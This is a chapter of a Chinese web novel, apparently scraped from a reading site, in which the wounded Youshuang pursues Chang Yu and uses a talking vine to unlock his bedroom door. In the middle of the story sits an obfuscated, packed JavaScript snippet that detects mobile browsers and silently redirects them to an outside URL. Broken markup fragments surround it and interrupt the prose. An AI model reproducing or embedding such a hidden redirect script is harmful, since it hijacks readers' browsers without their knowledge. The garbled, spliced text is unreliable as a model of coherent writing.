10. 调戏
作品:《女朋友是病娇[末世]》 “我身上够白吗?你喜欢吗?”
她这具身体和她母亲很像,皮肤细腻白皙,至少对这个地方来说,白是推崇的审美。
所以她离异带个女孩的母亲那时候能找到一个男大学生。
她记忆不太清晰,但一白一麦色在床上交叠的身影在她脑海中还算清晰,那个男人挑衅地朝她调笑。
尤霜直直勾勾看着常逾,唇角勾起一个柔和的笑,眼底闪过一丝不符合面容的强势。
可能常逾的审美不一样,但她问,所以她要听她想听的。
“你......不疼吗?”
两句话几乎同时在朦胧雾气快散尽的的浴室里响起。
常逾半晌没有发出声,没听到她的话,最后只吐出一句无奈的问话。
尤霜遗憾收回视线,没有看到她想看的,没有听见她想听的。思绪慢慢回笼,她平静摇头,她只觉得有些晕。
常逾上前,弯腰把尤霜抱起来,小心避开她的伤口,像捏着一个还没送进炉里烧制,还软趴趴的陶瓷花瓶,生怕把瓶身捏坏了。
“我还没冲过水,身上都是血腥味。”尤霜嫌身上还没洗干净,无辜开口。
常逾的脾气离点燃只差一点点。
所以,尤霜语气很软,可怜兮兮的。
“常逾,还是给我冲冲吧,味道太重我不舒服,会睡不着的。”
浴室的灯光照在他的脸上,眼底,鼻下的光被挡住,看不出他的神色。
她被放到浴室的椅子上,常逾站在她正前方,没吭声,沉默着同意。
他泛红的眼尾,在尤霜眼中一闪而过,试探着把花洒递给他。
常逾冷脸接过花洒,调好温度,手伸过去试了试温度,把花洒朝着尤霜的方向,另一只手碰上她的皮肤。
炙热的手指碰上尤霜的身体,她忍不住缩了缩,最后忍住了,整个动作没有太大的幅度。
语气娇柔埋怨,“你的手好烫。”
“你说是客观物理上的烫,还是我的心理作用。”尤霜自己也不知道,虽然她现在晕乎乎的,但是她明显体会到她的身体很喜欢他们两个的皮肤相贴的状态。
常逾冷漠道:“是你失血过多,浑身冰冷。”
尤霜不满意他冰冷的话,“我觉得不是,你再多摸摸,我好舒服——”调情的话被他冷漠打断。
“右手抬起来。”
“哈哈……”尤霜低头虚弱地笑,又得寸进尺般拉过他的手,贴在自己的心口上。
“它在跳,因为你。”
她想知道他的反应,但她已经抬不起头了。
尤霜用着昏迷前最后一丝力气把有伤口的手臂抬起来,挂在常逾肩膀上,等他简单清理完全身,就晕了过去,倒在他胸口,最后被他揽住腰。
他胸前微微湿润的衣料,带着一股他身上的清香,是尤霜最后的感知。
“李医生,她最近的身体怎么样?”
常逾小心把包扎好的手臂轻柔放到被子下,重新掖好被角。
“失血过多,营养不良,体内缺少......要好好养着。”
穿着白大褂的医生说完继续叮嘱:“前些年身体虽然说也差,但没到这种地步,你做哥哥的......不管是亲人还是恋人要提醒她注意身体,多吃些肉,蔬菜……补充蛋白质维生素。”
“我回去给你开个补铁剂,还有一份药方,你去抓药,好好调养。”
李医生是常家的家庭医生,这两年在A市负责两个人的身体健康。
常家的人际关系他大概清楚一些,尤霜又随性,后面见到两人的亲密的接触也没太惊讶。
常逾低头没说话,李医生等着输液输完了就走了。
尤霜睁开眼睛,翻身面朝常逾。
“睡醒了起来吃东西。”
“现在12点了。”挂在墙面的钟显示现在正在半夜,现在吃的话她更加睡不着。
常逾没有说话,起身走出房间,回来的时候手里端着一碗热乎乎的汤。
尤霜认命起身接过,放在嘴边一点点往嘴里送。
他就这么静静看着她,没有主动说话,也没有接她的话,尤霜安分喝汤。
“把里面的红枣吃了。”
尤霜咽下嘴里炖得发烂,甜到发腻的红枣,咽下之后喉咙里黏糊糊的。
再让她喝了一点水,常逾拿着碗就出去了,还把灯关上。
尤霜在床头小夜灯灯光的照耀下一直睡不着,左翻右翻,她又睁开眼睛,愣了一会之后,掀开被子往外走。
客厅很安静灯光昏暗,空无一人。
尤霜本来直奔常逾的房间,路过厨房的时候,传来一阵声响,停下往里看。
炉子里的水烧开了,盖子被水气顶起又落下,发出细微的声响。
尤霜没有铺垫,直接好奇开口:“常逾,你在煮些什么?”
平地一声让常逾吓了一跳,手上不下心被烫到,立马撤开。
尤霜撇嘴,静静看着他把旁边的纸包打开,把干枯的草药放回炉子里,很快,一股刺鼻的苦味在厨房里散开。
“我不喝。”
尤霜淡淡出声。
“呵。”
他累死累活给她熬药,得到这样的待遇……
常逾的脾气离奇地一次又一次被她点燃,他真服了,再跟她待着,他早晚被气到吐血。
尤霜愣了愣,没吭声,静静看着他。
常逾一直对她很温柔,不管是小时候还是现在。
常逾无奈看了她一眼,调整情绪好声好气说:“李医生开的药方,补气血的,每天喝两次,我以后晚上就给你熬好。”
“加了一点别的东西……不难喝。”
尤霜眨眨眼,没再继续和他顶嘴,随意点头。
常逾清楚她不是那种听话的人,现在随口一句显然就是哄他。
无力转身,继续看着火候,两个人的气氛像是临界温度的水,准备凝成冰块,但又没变,凝滞间又出现一些冰碴子。
尤霜站够了,动起来,像只快要离群的鱼儿,一直紧紧跟着常逾,他去哪她就跟着。
常逾把药处理好之后,旁若无人般洗手,走到房间打开进去,刚想关门,尤霜伸手拦住。
轻巧挤开门,尤霜准备跟着常逾进房间,她要和他一起睡。
被人两手撑着肩膀往后推,尤霜面前的人脸上冷冰冰的,眉头紧皱。
“你回去睡觉。”
“我想和你睡。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109104|164038||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
尤霜继续说服他,“我们是男女朋友……不是吗?”
“嘭。”眼前的门阖上,尤霜还听见了上锁的声音。
尤霜愣在原地一会之后离去,回了自己房间,神色不明,身边的气压显而易见的低。
再出现在客厅的时候,她手里捧着一盆盆栽,是小藤蔓。
“好了,像上次一样,你把门打开。”尤霜用手指点了点垂到泥土里的叶片。
“主人,真的非要这样吗?”
小藤蔓不想主人和那个人类待在一起。它一直在阳台听着,知道那个人类现在心情不好,说不定又无声无息煮了它的枝条。
尤霜沉默,但手指扯弄小藤蔓枝条的力道越来越大。
小藤蔓感应到主人的不耐烦,立马支楞起来,枝条变小变大,轻松钻进房间,把门锁从里面扭开,发出一声细微的灯“噔”。
常逾应该睡着,她脚步放轻,打算悄咪咪进去,爬上他的床。
卧室一片漆黑,深色系的窗帘拉得严严实实,只在两片链子之间透出一点点亮光。
尤霜站了一会,等待眼睛适应周遭的黑暗,一步一步往前,最后来到常逾床边,把手上的盆栽轻轻放到床头柜上。
手指捻起毯子边边,脚腕扭动,把拖鞋褪下,膝盖压出床面。
尤霜不敢用力,怕把人弄醒,把被子往上掀开一个角,尤霜钻进常逾的被窝。
尤霜躺下平复自己的呼吸,伸手往右手边探了探,什么都没摸到,被窝里都是凉的。
“噔”,暖黄的人的小夜灯被打开,整个房间笼罩在一点暖光之下,温馨又宁静。
常逾坐在床的另一边,手上刚把灯打开,还没来得及收回来。冷眼看着不好好睡觉,躺在自己床上的人。
“你要干嘛?”
尤霜翻了身,正对着他,刚刚恢复一点血色的唇开开合合:“想和你睡觉。”动词在她刻意的咬字下尤为明显。
常逾现在极度疲惫,很难摆出好脸色面对眼里只有欲望没有他的色批。
“你自己睡吧,我去你房间睡。”
尤霜见他真的要走,连忙滚过去,拉住他的衣角,脸色平静地放狠话,“你要是过去我也过去,反正哪个门我都开得了。”
常逾扫了了床头的小藤蔓一眼。
小藤蔓忍不住抖了抖,枝条上的叶片簌簌抖动,它莫名想起那次枝条上的滚烫......
袖口又被尤霜扯了扯,常逾冷漠回答:“那你来呗,我不睡了,等你睡。”
尤霜被他噎住,半晌没说话,最后双手抱住他的腰,整个人靠在他身上。
她的手很冷,隔着衣料都能感受到刺骨的冰凉,像手里活生生握着一块寒冰,冷意严严实实缠住常逾,视线下移,那两只交叠的手,只剩下刺目的苍白。
往外走的势头一下子没了,常逾顺着她的力道坐回床上。
等他再次回神,尤霜已经掀开毯子往两个人身上盖,两个人一人一个枕头,边缘相碰,亲密地躺在床上。
尤霜满意了,身边周遭都是常逾的味道,干净又清香,手得寸进尺地往常逾身上伸。
非要她来也行。
“尤霜。”
常逾伸手拦住她的手。